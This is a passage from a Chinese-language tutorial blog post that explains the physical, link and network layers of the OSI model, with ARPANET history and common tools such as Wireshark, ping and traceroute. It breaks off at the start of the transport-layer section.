显然，这种思路明显优于 FDM ＆ TDM。如今在移动通讯领域大名鼎鼎的 CDMA（码分多址），采用的就是这个思路。
★物理层：具体实例
◇物理层的【协议】
物理层的协议主要有如下：
USB 协议
蓝牙协议的一部分
IEEE 802.11 的一部分（Wi-Fi）
IEEE 802.16（WiMAX）
IEEE 1394（火线接口）
RS-232 协议（串行接口/串口）
......
（考虑到篇幅）俺不可能具体细聊这些协议，只是贴出每个的维基百科链接，感兴趣的同学自己点进去看。
◇物理层的【协议实现】
对于电脑主机（含移动设备），“网卡硬件”包含了物理层的协议实现（参见如下示意图）
另外，还有一些专门的【1层】网络设备，也提供物理层的功能（参见下一个小节）。
（OSI 模型中，不同层次的协议实现）
◇物理层相关的【网络设备】
调制解调器（modem）
通俗地说，“调制解调器”就是用来翻译“数字信号 ＆ 模拟信号”。
在发送信息时，modem 把电脑要发送的“字节流”（数字信号）翻译成“模拟信号”，然后通过物理介质发送出去；当它从物理介质收到“模拟信号”，再翻译成“数字信号”，传回给电脑。
早期的拨号上网，modem 面对的物理介质是“固话线路”；如今家庭宽带普及，光纤入户，modem 面对的物理介质是“光纤线路”。
（老式 modem，用于固定电话线路）
中继器（repeater）
信号在物理介质中传输，会出现【衰减】（不论是“有线 or 无线”都有可能衰减）。“中继器”的作用是【信号增益】，使得信号能传得更远。
另外，比如“微波通讯”是直线传播，而地球表面有弧度，还有地形的起伏。所以每隔一定距离要建“微波塔”。这玩意儿也相当于“中继器”。
（微波塔示意图）
集线器（hub）
可以把“集线器”视作更牛逼的“中继器”——“中继器”只有两个口（只能连接两个通讯端点），而“集线器”有多个口（同时连接多个通讯端点）。
通常所说的“集线器”是指“以太网集线器”。这种设备如今已经逐步淘汰，很少见到了。
（老式的10兆以太网集线器）
另外，很多同学应该都用过“USB hub”，就是针对 USB 线的“集线器”（“USB 线”也可以视作某种通讯介质）。
★链路层：概述
◇链路层的必要性
对信息的打包
物理层传输的信息，通俗地说就是【比特流】（也就是一长串比特）。但是对于计算机来说，“比特流”太低级啦，处理起来极不方便。“链路层”要干的第一个事情，就是把“比特流”打包成更大的一坨，以方便更上层的协议进行处理。在 OSI 模型中，链路层的一坨，称之为“帧”（frame）。
差错控制
物理介质的传输，可能受到环境的影响。这种影响不仅仅体现为“噪声”，有时候会出现严重的干扰，导致物理层传输的“比特流”出错（某个比特“从0变1”或“从1变0”）。因此，链路层还需要负责检查物理层的传输是否出错。在 IT 行话中，检测是否出错，称之为“差错控制机制”（后面有一个小节会简单说一下这个话题）。
流量控制
假设两个端点通过同一个物理信道进行通讯，这两个端点处理信息的速度可能不同。如果发送方输出信息的速度超过接收方处理信息的速度，通讯就会出问题。于是就需要有某种机制来协调，确保发送方的发送速度不会超出接收方的处理速度。在技术行话中，这称之为“流量控制”，简称“流控”。
信道复用
在上一个章节已经讲到：用于远距离通讯的“物理介质”，总是有成本。因此需要对物理信道进行“多路复用”，就会导致多个端点共用同一个物理信道。如果同时存在多个发送者和多个接收者。接收者如何知道某个信息是发给自己而不是别人？
另外，某些物理介质可能不支持并发（无法同时发送信息）。某些物理介质可能是【半双工】，所有这些物理层的限制，都使得“多路复用”变得复杂。为了解决这些问题，链路层需要提供了某种相应的机制（协议），术语叫做“介质访问控制”（洋文是“Media Access Control”，简称 MAC）。后续小节会聊它。
◇差错控制
为了发现传输的信息是否出错，设计了很多相应的数学算法。这些算法大体分为两类：“检错算法 ＆ 纠错算法”。
简而言之，“检错算法”只能检测出错误，而“纠错算法”不但能检测出错误，还能纠正错误。很显然，“纠错算法”更牛逼，但是它也更复杂。
常见的“检错算法”对传输的数据计算出一个【校验值】，接收方收到数据会重新计算校验和，如果算出来不对，就把收到的数据丢弃，让对方重发。“校验算法”的原理类似于《扫盲文件完整性校验——关于散列值和数字签名》一文中提到的“散列算法/哈希算法”。
“纠错算法”更高级，由于涉及到更多数学，俺就不展开啦。
对于【无线】物理信道，由于出错的概率更高，并且重新传输数据的成本也更高。所以【无线】通讯的链路层协议，更倾向于用【纠错】机制；作为对比，【有线】通讯的链路层协议，更倾向于用【检错】机制。
◇MAC 协议
“MAC 协议”用来确保对下层物理介质的使用，不会出现冲突。为了形象，俺拿“铁路系统”来比喻，说明“MAC 协议”的用途。
假设有一条【单轨】铁路连接 A/B 两地。有很多火车想从 A 开到 B，同时还有很多火车想从 B 开到 A。
首先，要确保不发生撞车（如果已经有车在 A 开往 B 的途中，那么 B 就不能再发车）；其次，即使是同一个方向的车，出发时间也要错开一个时间间隔。
所有这些协调工作，都是靠“MAC 协议”来搞定。
◇MAC 地址
为了完成上述任务，光有“MAC 协议”还不够，还需要为每一个端点引入【惟一的】标识。这个标识就称作“MAC 地址”。
通俗地说，每个网卡都内置了一个“MAC 地址”。这个地址是网卡在出厂的时候就已经设置好的，并且用某种机制确保该地址【全球唯一】。
如何保证 MAC 地址全球唯一捏？简单说一下：
MAC 地址包含6个字节（48个比特），分为两半。第一部分称作【OUI】，OUI 的24个比特中，其中2个比特有特殊含义，其它22个比特，用来作为网卡厂商的唯一编号。这个编号由国际组织 IEEE 统一分配。
MAC 地址第二部分的24比特，由网卡厂商自己决定如何分配。每个厂商只要确保自己生产的网卡，后面这24比特是唯一的，就行啦。
（MAC 地址的构成）
由于俺在很多安全教程中鼓吹大伙儿使用“操作系统虚拟机”，再顺便说说【虚拟网卡】的 MAC 地址。
“虚拟网卡”是由【虚拟化软件】创建滴。IEEE 也给每个虚拟化软件的厂商（含开源社区）分配了唯一的 OUI。因此，虚拟化软件在创建“虚拟网卡”时，会使用自己的 OUI 生成前面24个比特；后面的24比特，会采用某种算法使之尽可能【随机化】。由于“2的24次方”很大（224 = 16777216），碰巧一样的概率很低。
（注：如果手工修改 MAC 地址，故意把两块网卡的 MAC 地址搞成一样，那确实就做不到唯一性了。并且会导致链路层的通讯出问题）
★链路层：具体实例
◇链路层的【协议】
链路层的协议主要有如下：
MAC 协议（介质访问控制）
LLC 协议（逻辑链路控制）
ARP 协议（解析 MAC 地址）
IEEE 802.3（以太网）
IEEE 802.11 的一部分（Wi-Fi）
L2TP 协议（2层VPN）
PPP 协议（拨号上网）
SLIP 协议（拨号上网）
......
（考虑到篇幅）俺不可能具体细聊这些协议，只是贴出每个的维基百科链接，感兴趣的同学自己点进去看。
◇链路层的【协议实现】
对于电脑主机（含移动设备），“网卡硬件 ＆ 网卡驱动”会包含链路层协议的实现（参见如下示意图）。
另外，还有一些专门的【2层】网络设备，也提供链路层的功能（参见下一个小节）。
（OSI 模型中，不同层次的协议实现）
◇链路层相关的【网络设备】
网络交换机（network switch）
（注：一般提到“网络交换机”，如果不加定语，指的就是“2层交换机”；此外还有更高层的交换机，在后续章节介绍）
为啥要有交换机捏？俺拿“以太网的发展史”来说事儿。
以太网刚诞生的时候，称之为“经典以太网”，电脑是通过【集线器】相连。“集线器”前面提到过，工作在【1层】（物理层），并不理解链路层的协议。因此，集线器的原理是【广播】模式——它从某个网线接口收到的数据，会复制 N 份，发送到其它【每个】网线接口。假设有4台电脑（A、B、C、D）都连在集线器上，A 发数据给 B，其实 C ＆ D 也都收到 A 发出的数据。显然，这种工作模式很傻逼（低效）。由于“经典以太网”的工作模式才“10兆”，所以集线器虽然低效，还能忍受。
后来要发展“百兆以太网”，再用这种傻逼的广播模式，就不能忍啦。于是“经典以太网”就发展为“交换式以太网”。用【交换机】代替“集线器”。
交换机是工作在2层（链路层）的设备，能够理解链路层协议。当交换机从某个网线接口收到一份数据（链路层的“帧”），它可以识别出“链路帧”里面包含的目标地址（接收方的 MAC 地址），然后只把这份数据转发给“目标 MAC 地址相关的网线接口”。
由于交换机能识别2层协议，它不光比集线器的性能高，而且功能也强得多。比如（稍微高级点的）交换机可以实现“MAC 地址过滤、VLAN、QoS”等多种额外功能。
网桥/桥接器（network bridge）
“交换机”通常用来连接【同一种】网络的设备。有时候，需要让两台不同网络类型的电脑相连，就会用到【网桥】。
下面以“操作系统虚拟机”来举例（完全没用过虚拟机的同学，请跳过这个举例）。
在这篇博文，俺介绍了虚拟机的几种“网卡模式”，其中有一种模式叫做【bridge 模式】。一旦设置了这种模式，Guest OS 的虚拟网卡，对于 Host OS 所在的外部网络，是【双向】可见滴。也就是说，物理主机所在的外部网络，也可以看见这块虚拟网卡。
现在，假设你的物理电脑（Host OS）只安装了【无线网卡】（WiFi），而虚拟化软件给 Guest OS 配置的通常是【以太网卡】。显然，这是两种【不同】的网络。为啥 Guest OS 的以太网卡设置为“bridge 模式”之后，外部 WiFi 网络可以看到它捏？
奥妙在于——虚拟化软件在内部悄悄地帮你实现了一个“网桥”。这个网桥把“Host OS 的 WiFi 网卡”与“Guest OS 的以太网卡”关联起来。WiFi 网卡收到了链路层数据之后，如果接收方的 MAC 地址对应的是 Guest OS，网桥会把这份数据丢给 Guest OS 的网卡。
这种网卡模式之所以称作“bridge 模式”，原因就在于此。
◇链路层相关的【软件工具】
嗅探抓包工具（Sniffer）
要了解链路层的数据包结构，需要用到“嗅探工具”。这类工具能捕获流经你网卡的所有【链路层】数据包。前面聊“协议栈”的时候说过：下层数据包的载荷就是上层数据包的整体。因此，拿到【链路层】数据包也就意味着：你已经拿到2层之上的所有数据包的信息了。
有些抓包工具自带图形界面，可以直接显示数据包的内容给你看。还有些只提供命令行（只是把获取的数据包保存为文件），然后要搭配其它图形化的工具来展示数据包的内容。
抓包的工具有很多，名气最大的是 Wireshark（原先叫做 Ethereal）。
ARP 命令
首先，ARP 是“MAC 地址解析协议”的洋文名称。该协议根据“IP 地址”解析“MAC 地址”。
Windows 自带一个同名的arp命令，可以用来诊断与“MAC 地址”相关的信息。比如：列出当前子网中其它主机的 IP 地址以及对应的 MAC 地址。这个命令在 Linux ＆ Mac OS 上也有。
★网络层：概述
◇网络层的必要性
路由机制（routing）
在 OSI 模型中，链路层本身【不】提供路由功能。你可以通俗地理解为：链路层只处理【直接相连】的两个端点（注：这么说不完全严密，只是帮助外行理解）
对于某个复杂网络，可能有很多端点，有很复杂的拓扑结构。当拓扑足够复杂，总有一些端点之间【没有直连】。那么，如何在这些【没有直连】的端点之间建立通讯捏？此时就需要提供某种机制，让其它端点帮忙转发数据。这就需要引入“路由机制”。
为了避免把“链路层”搞得太复杂，路由机制放到“链路层”之上来实现，也就是“网络层”。
基于【路由】的地址编码方式
链路层已经提供了某种全球唯一的地址编码方式（MAC 地址）。但“MAC 地址”有如下几个问题：
其一，它是固定的（虽然可以用技术手段去修改 MAC 地址，但很少这么干）
其二，MAC 地址的编码是基于【厂商】，无法体现网络拓扑结构。或者说，“MAC 地址”对于“路由机制”是不够友好滴。
因此，需要引入一种更抽象（更高层）的地址，也就是“网络层地址”。咱们常说的“IP 地址”，是“网络层地址”的实现方式之一。
为了帮你理解，举个例子：
每个人都有身份证号（这就类似于“MAC 地址”）。当某人加入了某个公司，公司会为此人再分配一个“员工号”（这就类似于“网络地址”）。既然有身份证号，为啥公司还要另搞一套“员工编号”捏？因为“员工编号”有额外的好处。比如说：可以把员工号划分为不同的区间，对应不同的部门。这样一来，只要看到员工号，就知道此人来自哪个部门。
类似道理，每个网卡都有自己固定的 MAC 地址，当这个网卡接入到不同的网络，每次都可以再分配不同的“网络地址”。通过“网络地址”可以看出这个网卡属于哪个网络（对路由比较方便）。
网际互联（internetwork）
引入“网络层”的另一个目的是：屏蔽不同类型的网络之间的差异，从而有利于【网际互联】（也就是建立“网络的网络”）。
一般来说，要想联通【异种】网络，就要求每个网络中都有一台主机充当【网关】（gateway）。【网关】起到“中介/翻译”的作用——帮不同的网络翻译协议，使得不同的网络可以互相联通。
假设【没有】统一的网络层，网关的工作就很难做。就好比说：如果全球没有某种通用的自然语言，就需要培养非常多不同类型的翻译人才（假设有30种主要语言，任意两种互译，就需要几百种不同的翻译人才）。
反之，如果有了某种统一的网络层标准，问题就好办多了（还是假设有30种主要语言，只要选定某种作为通用语，然后培养29种翻译人才，就可以实现任意两种语言互译）。
如今的互联网时代，【IP 协议】就是那个充当统一标准的网络层协议。
（互联网整合了各种类型的网络）
◇网络拓扑（network topology）
网络的拓扑结构有很多种，有简单的，有复杂的。一般来说，再复杂的拓扑，也可以逐步分解为若干简单拓扑的组合。
对拓扑的研究，有专门一个数学分支（拓扑学）。考虑到本文只是扫盲，俺不可能再去聊“拓扑学”。因此，只挑几种简单的拓扑结构，让大伙儿有个直观的印象。
（常见的网状拓扑结构：星形拓扑、环形拓扑、总线拓扑、网状拓扑、等等）
如今的互联网，整体的拓扑结构超级复杂。但还是可以逐步分解为上述几种基本的拓扑结构。
（互联网的复杂拓扑，右下角是图中某个小点的放大。
为节省大伙儿的翻墙流量，俺贴的是缩小图。点“这里”看原始图）
◇互联网的拓扑——从“历史”的角度看其健壮性
从上面那张图可以看出：互联网拓扑的【局部】有很多是“星形拓扑”（当然也有其它的）。但从【宏观】上看，更像是“网状拓扑”。
在现实生活中，对于复杂结构，通常都会采用“树状层次结构”，以便于管理。比如：域名系统、公司组织结构、官僚系统 ...... 那为啥互联网的【宏观】拓扑结构是“网状”捏？这就要说到互联网的历史。
在上世纪50年代（冷战高峰期），美国军方的指挥系统高度依赖于电信公司提供的电话网络。当时的电话网络大致如下——
在基层，每个地区有电话交换局，每一部电话都连入当地的交换局。
在全国，设有若干个长途局，每个交换局都接入某个特定的长途局（不同地区的交换局通过长途局中转）。
简而言之，当时美国的电话网络是典型的【多级星形拓扑】。这种拓扑的优点是：简单、高效、便于管理；但缺点是：健壮性很差。从这个案例中，大伙儿可以再次体会到“效率”与“健壮性”之间的矛盾。俺写过一篇很重要的博文（这里）深入讨论了这个话题。
话说1957年的时候，苏联成功试射第一颗洲际弹道导弹（ICBM），美国军方开始担心：一旦苏联先用洲际导弹攻击美国，只要把少数几个长途局轰掉，军方的指挥系统就会瘫痪。也就是说，“长途局”已经成为美国军方的【单点故障】（何为“单点故障”？参见这篇博文）。
1960年，美国国防部找来大名鼎鼎的兰德公司进行咨询，要求提供一个应对核打击的方案。该公司的研究员 Paul Baran 设计了一个方案，把“星形拓扑”改为【网状拓扑】。采用【网状拓扑】的好处在于：即使发生全面核大战，大量骨干节点被摧毁，整个网络也不会被分隔成几个孤岛，军方的指挥系统依然能正常运作。
（左边：互联网诞生前——美国的电话网络 右边：兰德公司的“Baran 方案”）
有了兰德公司的方案，美国军方找到当时最大的电信公司 AT＆T，想要实现这个系统，结果被否决了。AT＆T 高层认为：搞这样一种系统根本不切实际。于是 Baran 的方案中途夭折。
为啥 AT＆T 反对这个方案捏？一方面，成功的大公司总是有很强的思维定势（关于这点，参见这篇文章）；另一方面，Baran 的设计方案确实很超前——其前瞻性不仅包括“拓扑结构”，而且把当时电信行业的几大核心观念完全颠覆掉了（具体如何颠覆，后续章节还会再聊）。
时间一晃又过了好多年，到了60年代末，由于一系列机缘巧合，英国佬发现了“Baran 方案”的价值，并据此搞了一个小型的 NPL 网络（NPL 是“国家物理实验室”的缩写）。然后在某次 ACM 会议上，美国佬看到英国佬的论文，才意识到：Baran 方案完全可行。经历了“出口转内销”的命运之后，该方案重新被美国国防部重视。之后，（国防部下属的）“高级计划研究局”（ARPA）开始筹建“阿帕网”（ARPANET），才有了如今的互联网。
◇路由的大致原理
聊完“拓扑”，再来聊“路由”。
当主机 A 向主机 B 发送网络层的数据时，大致会经历如下步骤：
1.
A 主机的协议栈先判断“A B 两个地址”是否在同一个子网（“子网掩码”就是用来干这事儿滴）。
如果是同一个子网，直接发给对方；如果不是同一个子网，发给本子网的【默认网关】。
（此处所说的“网关”指“3层网关/网络层网关”）
2.
对于“默认网关”，有可能自己就是路由器；也可能自己不是路由器，但与其它路由器相连。
也就是说，“默认网关”要么自己对数据包进行路由，要么丢给能进行路由的另一台设备。
（万一找不到能路由的设备，这个数据就被丢弃，于是网络通讯出错）
3.
当数据到达某个路由器之后，有如下几种可能——
3.1
该路由器正好是 B 所在子网的网关（与 B 直连），那就把数据包丢给 B，路由过程就结束啦；
3.2
亦或者，路由器会把数据包丢给另一个路由器（另一个路由器再丢给另一个路由器） ...... 如此循环往复，最终到达目的地 B。
3.3
还存在一种可能性：始终找不到“主机 B”（有可能该主机“断线 or 关机 or 根本不存在”）。为了避免数据包长时间在网络上闲逛，还需要引入某种【数据包存活机制】（洋文叫做“Time To Live”，简称 TTL）。
通常会采用某个整数（TTL 计数）表示数据包能活多久。当主机 A 发出这个数据包的时候，这个“TTL 计数”就已经设置好了。每当这个数据包被路由器转发一次，“TTL 记数”就减一。当 TTL 变为零，这个数据包就死了（被丢弃）。
对于某些大型的复杂网络（比如互联网），每个路由器可能与其它 N 个路由器相连（N 可能很大）。对于上述的 3.2 情形，它如何判断：该转发给谁捏？
这时候，“路由算法”就体现出价值啦——
一般来说，路由器内部会维护一张【路由表】。每当收到一个网络层的数据包，先取出数据包中的【目标地址】，然后去查这张路由表，看谁距离目标最近，就把数据包转发给谁。
上面这段话看起来好像很简单，其实路由算法挺复杂滴。考虑到本文是“扫盲性质”，而且篇幅已经很长，不可能再去聊“路由算法”的细节。对此感兴趣的同学，可以去看《计算机网络》的第5章。
◇路由算法的演变史（以互联网为例）
（技术菜鸟可以跳过这个小节）
由于互联网的 IP 协议已经成为“网络层协议”的事实标准，俺简单聊一下互联网的路由机制是如何进化滴。
第1阶段：静态全局路由表
（前面说了）互联网的前身是“阿帕网/ARPANET”。在阿帕网诞生初期（上世纪70年代），全球的主机很少。因此，早期的路由表很简单，既是“全局”滴，又是“静态”滴。简而言之，每个路由器内部都维护一张“全局路由表”，这个“路由表”包含了全球所有其它路由器的关联信息。每当来了一个数据包，查一下这张全局路由表，自然就清楚要转发给谁，才能最快到达目的地。
早期的阿帕网，主机的变化比较少，也很少增加路由器。每当出现一个新的路由器，其它路由器的管理员就手工编辑各自的“全局路由表”。
为了加深大伙儿印象，特意找来两张70年代初的阿帕网拓扑图（注：图中的 IMP 是“Interface Message Processor”的缩写，也就是如今所说的“路由器”）。
（1973年的阿帕网）
（1977年的阿帕网）
第2阶段：动态全局路由表
后来，“阿帕网/互联网”的规模猛增，路由器数量也跟着猛增，隔三差五都有新的路由器冒出来。再用“静态路由表”这种机制，（编辑路由表的）管理员会被活活累死。于是改用“动态路由表”，并引入某种“路由发现机制”。但“路由表”依然是【全局】滴。
第3阶段：动态分级路由表
再到后来，全球的路由器越来越多，成千上万，再搞“全局路由表”已经不太现实了——
一方面，“全局路由表”越来越大（查询的速度就越来越慢）
另一方面，由于互联网的流量越来越大，每来一个数据包都要查表，查询越来越频繁。
于是，路由器开始吃不消了。为了解决困境，想出一个新招数：引入“分级路由”（hierarchical routing）。所谓的“分级路由”就是：把整个互联网分为多个大区域，每个大区域内部再分小区域，小区域内部再分小小区域 ...... 看到这里，熟悉“数据结构与算法”的同学就会意识到——这相当于构造了一个【树状】层次结构。
有了这个层次结构，每个路由器重点关注：自己所在的那个最小化区域里面的网络拓扑。如此一来，每个路由器的“路由表”都会大幅度减小。
（全局路由表 VS 分级路由表）
◇互联网的路由——从“CAS”的角度看其健壮性
去年（2020）俺写了一篇博文《“政治体制”与“系统健壮性”——基于“复杂性科学”的思考》，其中介绍了“CAS”（复杂自适应系统）的概念。互联网的路由机制，就是一个典型的 CAS。
如果把互联网视作一个系统，每个公网上的路由器都是一个自适应的主体。假如某个地区的网络流量突然暴涨，骨干网路由器会自动分流；假如因为地震或战争，导致某个地区的骨干网路由器全部下线，周边地区的路由器也会自动避开这个区域 .....
所有这些工作，【不需要】依靠任何最高指挥中枢，去进行协调。
相反，如果互联网的路由系统中，设立了某种“中央委员会”进行实时调度，那互联网早就完蛋了，根本无法成长为今天这种规模。
◇网络层的两种交换技术——电路交换（circuit switching） VS 分组交换（packet switching）
（技术菜鸟可以跳过这个小节）
前面聊“互联网诞生”，说到兰德公司的“Baran 方案”。该方案对当时的电信系统提出几大革命性的变化，其中之一就是“分组交换”技术（也称“数据包交换”or“封包交换”）。
一般来说，网络层的设计有两种截然不同的风格：【电路交换 VS 分组交换】。有时候也分别称之为“有连接的网络层 VS 无连接的网络层”。此处所说的“连接”指的是某种“虚电路”（洋文叫做“virtual circuit”，简称 VC）。
要理解“虚电路”，首先要从老式的电话系统说起。
最早期的电话，既没有拨号盘也没有按键，全靠一张嘴。当你拿起电话，先告诉接线员你要打给谁，接线员会用一根跳接线，插入电话交换设备的某个插孔，从而把你的电话机与对方的电话机相连。于是建立了一条两人之间的电话通路，也就是“电路”。你可以把“接线员”想象成某种“人肉路由器” :)
（1900年法国巴黎的电话交换局，可以看到接线员在操作电话交换设备）
后来发明了“自动电话交换机”，导致“接线员”全体下岗。虽然自动化了，但原理还是一样——当你在电话上拨了某人的号码，电话局的交换机会自动选择一条线路。只有当这条线路建立起来，对方的电话才会响。一旦双方开始通话，双方之间的语音都是通过这条线路传输。并且这条线路是独占的——只要通话不挂断，这条线路就不会再分配给其他人使用。
前面提到“互联网诞生的历史”，当时军方推动的“Baran 方案”被 AT＆T 断然拒绝。因为这个方案完全颠覆了传统的电话系统——
颠覆之1：把“模拟信号”颠覆为“数字信号”（这点比较好理解，俺就不解释了）
颠覆之2：把“星形拓扑”颠覆为“网状拓扑”（关于这点，前面的小节已经讨论了）
颠覆之3：把“电路交换”颠覆为“分组交换”（这就是本小节的重点）
为了帮大伙儿理解上述第3点，举个例子：
假设主机 A 要向主机 B 发送一大坨数据。因为数据太多，肯定要分成好几坨小一点的（分成多个数据包）。如何把这些数据包发送给对方捏？
“电路交换”的实现方式
在发送数据之前，要先建立连接通道（通过路由算法，找出 A ＆ B 之间的某条通路）。这条通路就是所谓的“虚电路/VC”。一旦 VC 建立，每一个数据包都是从这条拓扑路径进行路由。
“分组交换”的实现方式
在发送数据之前，【不需要】建立通道，让每个数据包独立进行路由。这种情况下，这几个数据包可能会走【不同的】拓扑路径。因此，数据包到达的顺序与发送的顺序【不一定】相同。接收方收到所有数据包之后，还要自己进行排序。
维基百科上有一个 GIF 动画（这个链接），比较直观地演示“分组交换/封包交换”的效果。由于这个动画稍微有点大（超过 1MB），俺就不贴到博文中了。
当时的电话系统主要承载语音传输，“电路交换”显然性能更高。那为啥 Baran 的设计要采用“分组交换”捏？俺又要再次提到【效率 VS 健壮性】之间的矛盾与均衡。
对于“电路交换”，一旦建立连接，同一个连接的所有数据都走相同的路径（会经过完全相同的路由器）。也就是说，传输的过程中，如果某个路由器挂掉了（网络掉线 or 硬件当机 or 软件崩溃）。那么，该路由器正在处理的 N 个连接全都要报废。而“分组交换”则更加灵活——即使某个路由器挂掉了，后续的数据包会自动转向另外的路由器，损失很小。
“Baran 方案”之所以采用“分组交换”的设计，因为人家这个方案是提交给军方用来应对【全面核战争】滴，当然要考虑健壮性啦。
话说这两种交换机制，各有很多支持者，并分裂为两大阵营，分别是：“电信阵营 VS 互联网阵营”。两大阵营的口水战持续了 N 年，都无法说服对方。到了后来设计 OSI 模型的时候，为了保持中立性与通用性，OSI 模型本身并没有强制要求网络层采用哪一种风格。
经过几十年之后，咱们已经可以看出来：“互联网阵营”占据主导地位。如今，连电信系统都是架构在互联网之上。
★网络层：具体实例
◇网络层的【协议】
网络层的协议有很多。由于“互联网”已经成为全球的事实标准，因此俺只列出属于“互联网协议族”的那些“网络层协议”：
IP 协议（含 IPv4 ＆ IPv6）
ICMP
IGMP
IPSec
......
（考虑到篇幅）俺不可能具体细聊这些协议，只是贴出每个的维基百科链接，感兴趣的同学自己点进去看。
对上述这些协议，最重要的当然是 IP 协议。如果你想要深入了解 IP 协议，可以参考如下这本书。关于 IP 协议的书，此书的影响力最大。这本书共3卷，通常只需看第1卷。
《TCP-IP 详解》
◇网络层的【协议实现】
对于电脑主机（含移动设备），网络层的协议实现通常包含在操作系统自带的网络模块中（也就是“操作系统协议栈”）。具体参见如下示意图。
另外，还有一些专门的【3层】网络设备，也提供网络层的功能（参见本章节的后续小节）。
（OSI 模型中，不同层次的协议实现）
◇IP 地址的格式及含义
当年设计阿帕网的时候，采用了【4字节】（32比特）来表示“网络层地址”（也就是 IP 地址）。
“IP 地址”的含义很重要，俺有必要解释一下：
咱们平时所说的 IP 地址，采用【点分十进制】来表示。就是把地址的4个字节，先翻译为十进制，然后每个字节用一个小数点分隔开（参见如下示意图）：
（4字节 IP 地址：“二进制”与“点分十进制”的对照示意图）
“IP 地址”的32比特，分为两部分：第1部分用来标识【子网】，第2部分用来标识该子网中的【主机】。
这两部分各占用多少比特，是不确定的。在这种情况下，“操作系统协议栈”如何知道哪些比特标识“子网”，哪些比特标识“主机”捏？奥妙在于【子网掩码】。所以，大伙儿在给系统配置 IP 地址的时候，通常都需要再设置一个【子网掩码】，就这个用途。
◇IP 地址枯竭，及其解决方法
前一个小节提到：IP地址包含【4字节】（32比特）。因此，最多只能表示【2的32次方】（42亿左右）的不同地址。考虑到还有很多地址保留给特殊用途，实际可用地址远远不到42亿。
到了如今，全球网民都已经几十亿了，IP 地址开始枯竭。咋办捏？为了解决这个问题，发展出若干技术手段。简单说一下最常见的几种手段：
IPv6
名气最大（最多人知道）的技术手段，大概是 IPv6 了。这招想要一劳永逸地解决地址枯竭的问题，采用了16字节（128比特）来表示 IP 地址。
设计 IPv6 的人自豪地宣称：即使给地球上的每一粒沙子分配一个 IPv6 地址，依然绰绰有余（确实没有吹牛，“2的128次方”是天文数字）。
但 IPv6 的缺点在于，【无法】向下兼容原有的 IP 协议（原有的协议叫“IPv4”）。IPv6 的普及一直比较慢，这是主要原因。
代理服务器（proxy）
一看到代理，很多人就想到翻墙。其实它也可以用来解决“地址枯竭”的问题。
比如说，某个公司有100人，100台电脑。如果每台电脑都分配公网 IP 地址，就要消耗100个公网地址（太浪费啦）。
可以只申请一个公网 IP，然后在内网搞一个代理服务器，公网 IP 分配给它（代理服务器有两个网卡，一个接内网，一个接公网）。然后在其它电脑上设置代理，指向这台代理服务器，就都可以上外网啦。
（注：在本文的末尾有一个★杂项
的章节，会专门聊一下“代理”这个话题）
网络地址转换（NAT）
前面 proxy 那招有个缺点：内网的每台电脑里面的每个上网软件，都要单独设置代理。实在太麻烦啦！
后来就发明了某种更牛逼的招数——网络地址转换（洋文是“Network Address Translation”，简称 NAT）。
用了这招，还是只要申请一个公网 IP，分配给内网的网关（网关有两个网卡，一个接内网，一个接公网）。然后在内网的网关配置 NAT 功能，自动就可以让内网的每台电脑访问外网。
在这篇博文，俺介绍了虚拟机的几种“网卡模式”，其中有一种模式叫做【NAT 模式】，就是指这个玩意儿。
采用了 NAT 技术之后，可能会对某些应用软件（尤其是 P2P 类型的）造成兼容性问题，于是又发明了一些“NAT 穿透技术”（NAT traversal）。这类技术有好几种，如果有空的话，俺会单独写教程介绍。
其它解决方法
关于“IPv4 地址空间耗尽”，解决方法肯定不止上面这几招。限于篇幅，就此打住。更多的讨论参见维基百科的“这个链接”。
◇网络层相关的【网络设备】
路由器（router）
（前面章节聊“路由原理”的时候，已经介绍过它；这里就不再浪费口水啦）
3层交换机（Layer 3 switching）
“3层交换机”是在“2层交换机”的基础上，增加了对网络层的处理。因此，它可以做到类似路由器的效果——在几个子网之间转发数据。
与路由器的差别在于——“3层交换机”链接的几个子网是【同种】网络；而路由器可以连接【异种】网络。
从上面这句话看，“3层交换机”的能力显然不如“路由器”。既然已经有“路由器”，为啥还要发明“3层交换机”捏？这就要说到【单臂路由器】的弊端。
对于企业内网的“2层交换机”，通常都支持 VLAN 功能。通俗地说：可以在交换机中划分多个【虚拟子网】。其实这些子网的中所有的电脑，都还是接入这台交换机，只不过这些子网配置了不同的网络地址。对于同一个 VLAN 内部的通讯，“2层交换机”自己就可以搞定（只需要用到2层协议）；但对于【跨】VLAN 主机之间的通讯，“2层交换机”就没戏啦（它没有路由功能）。因此，就必须在它旁边外加一个路由器，形成如下拓扑结构。在这个拓扑中，路由器只与单个设备（2层交换机）相连，所以称之为“单臂”。
请注意：如下示意图只画了两台电脑，位于两个 VLAN。实际上可能有很多个 VLAN，每个里面有几十台电脑。于是，交换机与路由器之间的传输通道就会成为瓶颈——【跨】VLAN 的任意两台电脑通讯，数据包都要到路由器那里兜一圈。为了消除这种瓶颈，才发明了“3层交换机”——把路由功能直接集成到交换机内部。
（“单臂路由器”的拓扑结构）
无线热点（Wireless Access Point）
“无线热点”通常用来提供无线接入，使得某个【无线】设备能接入到某个【有线】网络中。一般来说，热点都内置了路由功能，那么它就是“无线路由器”，对应到“3层”（网络层）。反之，如果没有路由功能，它就是“网桥”，属于“2层”（链路层）。
◇网络层相关的【软件工具】
ping
这个命令，很多人应该都知道。早在 Win9x 就有这个命令了。它使用（网络层的）ICMP 协议来测试某个远程主机是否可达。
提醒一下：
如果 ping 命令显示某个 IP 地址不可达，有很多种情况。比如说：
这个 IP 地址对应的主机已经关机
这个 IP 地址对应的主机已经断线
这个 IP 地址对应的主机拒绝响应 ICMP 协议
从你本机到这个 IP 地址之间，有某个防火墙拦截了 ICMP 协议
......
traceroute
这是一个通用的工具，用来测试路由。很早以前的 Windows 就已经内置了它，命令是tracert。在 POSIX（Linux＆UNIX）上通常叫traceroute
你可以用这个命令，测试你本机与互联网另一台主机之间的路由（也就是：从你本机到对方主机，要经过哪些路由器）
★传输层：概述
◇传输层的必要性
屏蔽“有连接 or 无连接”的差异
（上一个章节提到）网络层本身已经屏蔽了【异种网络】的差异（比如“以太网、ATM、帧中继”之间的差异），而且网络层也屏蔽了路由的细节。但网络层本身还有一个差异，也就是网络层的两种交换技术：电路交换（有连接） VS 分组交换（无连接）。
前面章节也提到了：上述两种交换技术各有很多支持者，并分裂为两大阵营。当年设计 OSI 模型的时候，为了保持中立性与通用性，并没有强制规定“网络层”必须采用何种交换机制。
对于开发网络软件的程序员来说，当然不想操心“网络层用的是哪一种交换机制”。因此，需要对网络层的上述差异再加一个抽象层（也就是“传输层”）。
从“主机”到“进程”
